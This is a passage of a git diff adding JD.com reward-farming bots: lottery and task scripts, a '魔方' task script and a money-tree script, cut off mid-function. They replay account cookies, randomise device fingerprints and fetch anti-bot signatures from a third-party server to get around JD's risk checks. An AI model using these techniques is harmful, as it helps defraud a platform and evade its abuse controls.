+ } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mofang.ts b/jd_mofang.ts new file mode 100644 index 0000000..452b38e --- /dev/null +++ b/jd_mofang.ts @@ -0,0 +1,134 @@ +/** + * 京东-新品-魔方 + * rabbit log + * cron: 10 9,12,15 * * * + */ + +import {requireConfig, wait, post, get} from './TS_USER_AGENTS' +import {existsSync} from "fs"; +import * as dotenv from 'dotenv' + +let cookie: string = '', res: any = '', UserName: string, index: number, log: string = '' +let rabbitToken: string = process.env.RABBIT_TOKEN || '', tg_id: string = process.env.TG_ID || '', mf_logs: any + +!(async () => { + dotenv.config() + if (existsSync('./test/mf_log.ts')) { + mf_logs = require('./test/mf_log').mf_logs + } else { + console.log('./test/mf_log not found') + } + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + res = await api("functionId=getInteractionHomeInfo&body=%7B%22sign%22%3A%22u6vtLQ7ztxgykLEr%22%7D&appid=content_ecology&client=wh5&clientVersion=1.0.0") + let sign: string = res.result.taskConfig.projectId + + res = await api(`functionId=queryInteractiveInfo&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + for (let t of res.assignmentList) { + if (t.completionCnt < t.assignmentTimesLimit) { + if (t.ext) { + if (t.assignmentName === '每日签到') { + if (t.ext.sign1.status === 1) { + let signDay: number = t.ext.sign1.signList?.length || 0, + type: number = t.rewards[signDay].rewardType + console.log(signDay, type) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ + "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": "1", "actionType": "", "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} + })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log('签到成功') + } else { + console.log('已签到') + } + } + + for (let proInfo of t.ext.productsInfo ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + if (res.msg === '任务已完成') { + break + } + } + } + + for (let proInfo of t.ext.shoppingActivity ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 1, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + await wait(t.ext.waitDuration * 1000) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + } + } + + for (let proInfo of t.ext.browseShop ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ + "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 1, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} + })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + await wait(t.ext.waitDuration * 1000) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ + "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} + })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + } + } + + for (let proInfo of t.ext.addCart ?? []) { + if (proInfo.status === 1) { + console.log(t.assignmentName) + log = await getLog() + res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": "0", "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFJGh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) + console.log(res.msg) + if (res.msg === '任务已完成') { + break + } + } + } + } else if (t.assignmentName === '去新品频道逛逛') { + + } + } + } + } +})() + +async function api(params: string) { + await wait(1000) + return await post("https://api.m.jd.com/client.action", params, { + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html', + 'Origin': 'https://h5.m.jd.com', + 'Host': 'api.m.jd.com', + 'Cookie': cookie + }) +} + +async function getLog() { + if (rabbitToken && tg_id) { + console.log('rabbit log api') + let {data} = await get(`http://www.madrabbit.cf:8080/license/log?tg_id=${tg_id}&token=${rabbitToken}`) + return `'"random":"${data.random}","log":"${data.log}"'` + } else if (mf_logs) { + return mf_logs[Math.floor(Math.random() * mf_logs.length)] + } else { + console.log('No log') + process.exit(0) + } +} \ No newline at end of file diff --git a/jd_moneyTree.js b/jd_moneyTree.js new file mode 100644 index 0000000..d9ae835 --- /dev/null +++ b/jd_moneyTree.js @@ -0,0 +1,885 @@ +/* +京东摇钱树 :jd_moneyTree.js +更新时间:2021-4-23 +活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd) +京东摇钱树支持京东双账号 +注:如果使用Node.js, 需自行安装'crypto-js,got,http-server,tough-cookie'模块. 例: npm install crypto-js http-server tough-cookie got --save +===============Quantumultx=============== +[task_local] +#京东摇钱树 +3 0-23/2 * * * jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true + +==============Loon=========== +[Script] +cron "3 0-23/2 * * *" script-path=jd_moneyTree.js,tag=京东摇钱树 + +===============Surge=========== +京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_moneyTree.js + +============小火箭========= +京东摇钱树 = type=cron,script-path=jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京东摇钱树'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMsg = ``; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let jdNotify = true;//是否开启静默运行,默认true +let sellFruit = true;//是否卖出金果得到金币,默认'true' +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + //await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jd_moneyTree(); + } + } + if (allMsg) { + jdNotify = $.isNode() ? (process.env.MONEYTREE_NOTIFY_CONTROL ? process.env.MONEYTREE_NOTIFY_CONTROL : jdNotify) : ($.getdata('jdMoneyTreeNotify') ? $.getdata('jdMoneyTreeNotify') : jdNotify); + if (!jdNotify || jdNotify === 'false') { + if ($.isNode()) await notify.sendNotify($.name, allMsg); + $.msg($.name, '', allMsg) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jd_moneyTree() { + try { + const userRes = await user_info(); + if (!userRes || !userRes.realName) return + await signEveryDay(); + // await dayWork(); + await harvest(); + await sell(); + await myWealth(); + await stealFriendFruit() + + $.log(`\n${message}\n`); + } catch (e) { + $.logErr(e) + } +} + +function user_info() { + console.log('初始化摇钱树个人信息'); + const params = { + "sharePin": "", + "shareType": 1, + "channelLV": "", + "source": 2, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": "2", + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + // await $.wait(5000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + console.log('resultCode为0') + if (res.resultData.data) { + userInfo = res.resultData.data; + // userInfo.realName = null; + if (userInfo.realName) { + // console.log(`助力码sharePin为::${userInfo.sharePin}`); + $.treeMsgTime = userInfo.sharePin; + subTitle = `【${userInfo.nick}】${userInfo.treeInfo.treeName}`; + // message += `【我的金果数量】${userInfo.treeInfo.fruit}\n`; + // message += `【我的金币数量】${userInfo.treeInfo.coin}\n`; + // message += `【距离${userInfo.treeInfo.level + 1}级摇钱树还差】${userInfo.treeInfo.progressLeft}\n`; + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + // $.msg($.name, `【提示】京东账号${$.index}${$.UserName}运行失败`, '此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证', {"open-url": "openApp.jdMobile://"}); + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function dayWork() { + console.log(`开始做任务userInfo了\n`) + return new Promise(async resolve => { + const data = { + "source": 0, + "linkMissionIds": ["666", "667"], + "LinkMissionIdValues": [7, 7], + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + }; + let response = await request('dayWork', data); + // console.log(`获取任务的信息:${JSON.stringify(response)}\n`) + let canTask = []; + taskInfo = []; + if (response && response.resultCode === 0) { + if (response.resultData.code === '200') { + response.resultData.data.map((item) => { + if (item.prizeType === 2) { + canTask.push(item); + } + if (item.workType === 7 && item.prizeType === 0) { + // missionId.push(item.mid); + taskInfo.push(item); + } + // if (item.workType === 7 && item.prizeType === 0) { + // missionId2 = item.mid; + // } + }) + } + } + console.log(`canTask::${JSON.stringify(canTask)}\n`) + console.log(`浏览任务列表taskInfo::${JSON.stringify(taskInfo)}\n`) + for (let item of canTask) { + if (item.workType === 1) { + // 签到任务 + // let signRes = await sign(); + // console.log(`签到结果:${JSON.stringify(signRes)}`); + if (item.workStatus === 0) { + // const data = {"source":2,"workType":1,"opType":2}; + // let signRes = await request('doWork', data); + let signRes = await sign(); + console.log(`三餐签到结果:${JSON.stringify(signRes)}`); + } else if (item.workStatus === 2) { + console.log(`三餐签到任务已经做过`) + } else if (item.workStatus === -1) { + console.log(`三餐签到任务不在时间范围内`) + } + } else if (item.workType === 2) { + // 分享任务 + if (item.workStatus === 0) { + // share(); + const data = {"source": 0, "workType": 2, "opType": 1}; + //开始分享 + // let shareRes = await request('doWork', data); + let shareRes = await share(data); + console.log(`开始分享的动作:${JSON.stringify(shareRes)}`); + const b = {"source": 0, "workType": 2, "opType": 2}; + // let shareResJL = await request('doWork', b); + let shareResJL = await share(b); + 